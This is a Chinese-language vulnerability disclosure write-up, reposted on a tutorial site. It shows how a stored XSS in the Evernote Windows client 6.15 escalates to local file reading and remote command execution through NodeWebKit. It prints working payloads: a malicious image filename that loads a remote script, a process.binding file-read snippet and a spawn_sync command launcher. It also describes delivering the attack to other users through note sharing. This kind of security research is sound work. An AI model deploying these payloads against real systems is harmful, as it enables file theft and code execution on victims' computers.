您好,登錄后才能下訂單哦!
這篇文章給大家介紹如何實現Windows客戶端6.15本地文件讀取和遠程命令執行漏洞分析,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
2018/09/20 ,我當時的同事@sebao告訴我印象筆記修復了他的XSS漏洞并登上了名人堂,碰巧國慶的時候考古過幾個客戶端 XSS 導致命令執行的案例,就想在印象筆記客戶端也尋找一下類似的問題。在之后的測試過程中,我不僅發現原本的XSS修復方案存在漏洞、利用這個XSS漏洞實現了本地文件讀取和遠程命令執行,還通過分享筆記的功能實現了遠程攻擊。
印象筆記 Windows 客戶端 6.14 版本修復了一個儲存型 XSS。
由于只修復了 XSS 的入口點而沒有在出口處添加過濾,導致攻擊者可以在 6.14 版本的客戶端中生成儲存型 XSS并在 6.15 版本中觸發。
印象筆記的展示模式是使用 NodeWebKit 實現的,通過儲存型 XSS 可以在展示模式下注入 Nodejs 代碼。
經過各種嘗試,最終通過注入的 Nodejs 代碼實現了本地文件讀取和遠程命令執行。
@sebao 發現的儲存型 XSS 漏洞的觸發方式如下: 1. 在筆記中添加一張圖片 2. 右鍵并將該圖片更名為” onclick=”alert(1)”>.jpg”3. 雙擊打開該筆記并點擊圖片,成功彈框。
經過測試,印象筆記官方修復該 XSS 的方式為:在更名處過濾了>、<、”等特殊字符,但有意思的是我在 6.14 版本下測試的 XSS 在6.15 版本中依舊可以彈框,這也就意味著:官方只修了 XSS 的入口,在 XSS 的輸出位置,依舊是沒有任何過濾的。
XSS 修復方案存在漏洞并不能算是一個很嚴重的安全問題,所以我決定深入挖掘一下其他的漏洞,比如本地文件讀取或者遠程命令執行。為了方便測試,我在 6.14 版本的客戶端中將一張圖片更名為” onclick=”alert(1)”><scriptsrc=”http://172.16.4.1:8000/1.js“>.jpg后,將客戶端升級為最新版 6.15。
我測試了一些特殊的API,例如evernote.openAttachment、goog.loadModuleFromUrl,但是沒有顯著的收獲。所以我轉換了思路,遍歷C:\\Program Files(x86)\Evernote\Evernote\目錄下的所有文件。我發現印象筆記在C:\\Program Files(x86)\Evernote\Evernote\NodeWebKit目錄下存在NodeWebKit,在演示的時候,印象筆記會調用這個NodeWebKit。
一個更好的消息是我可以通過之前發現的儲存型 XSS 在NodeWebKit中執行Nodejs代碼。
既然可以注入Nodejs代碼,那就意味著我可以嘗試使用child_process來執行任意命令。
我嘗試使用require(‘child_process’).exec,但是卻報錯了:Module name “child_process” has not been loaded yet forcontext。
這個錯誤并沒有澆滅我剛發現Nodejs代碼注入的激情,我在查閱各種資料嘗試解決/繞過 這個問題。最終,我發現了前人的足跡:Howwe exploited a remote code execution vulnerability in math.js
根據文中的內容,簡單的修改讀取本地文件的 payload 很快就實現了相應的功能:
alert("Tryto read C:\\\\Windows\\win.ini");try{ var buffer = new Buffer(8192); process.binding('fs').read(process.binding('fs').open('..\\..\\..\\..\\..\\..\\..\\Windows\\win.ini',0, 0600), buffer, 0, 4096); alert(buffer);}catch(err){ alert(err);}
但是在嘗試遠程命令執行的時候,我遇到了一些問題。由于并不了解Nodejs,所以我不知道為什么NodeWebkit中沒有Object和Array,也不知道如何解決這個問題。我聽取了文中的建議,嘗試去理解child_process 的源碼 ,并且查找spawn_sync相關的用法。
最終,我從window.process.env中獲取到env的內容,并使用spawn_sync成功地彈出了計算器。
// commandexecutedtry{ spawn_sync = process.binding('spawn_sync'); envPairs = []; for (var key in window.process.env) { envPairs.push(key + '=' +window.process.env[key]); } args = []; const options = { file: 'C:\\\\Windows\\system32\\calc.exe', args: args, envPairs: envPairs, stdio: [ { type: 'pipe', readable: true, writable:false }, { type: 'pipe', readable: false,writable: true }, { type: 'pipe', readable: false,writable: true } ] }; spawn_sync.spawn(options);}catch(err){ alert(err);}
在我實現了本地文件讀取和本機命令執行后,黑哥提出了一個更高的要求:證明這個漏洞可以影響到其他用戶。
在注冊了一個小號后,我嘗試使用分享功能將惡意筆記分享給 ”他人“。
我的小號將會在工作空間收到別人發來的消息。
我的小號嘗試演示這個筆記,被注入的Nodejs代碼成功執行!
關于如何實現Windows客戶端6.15本地文件讀取和遠程命令執行漏洞分析就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。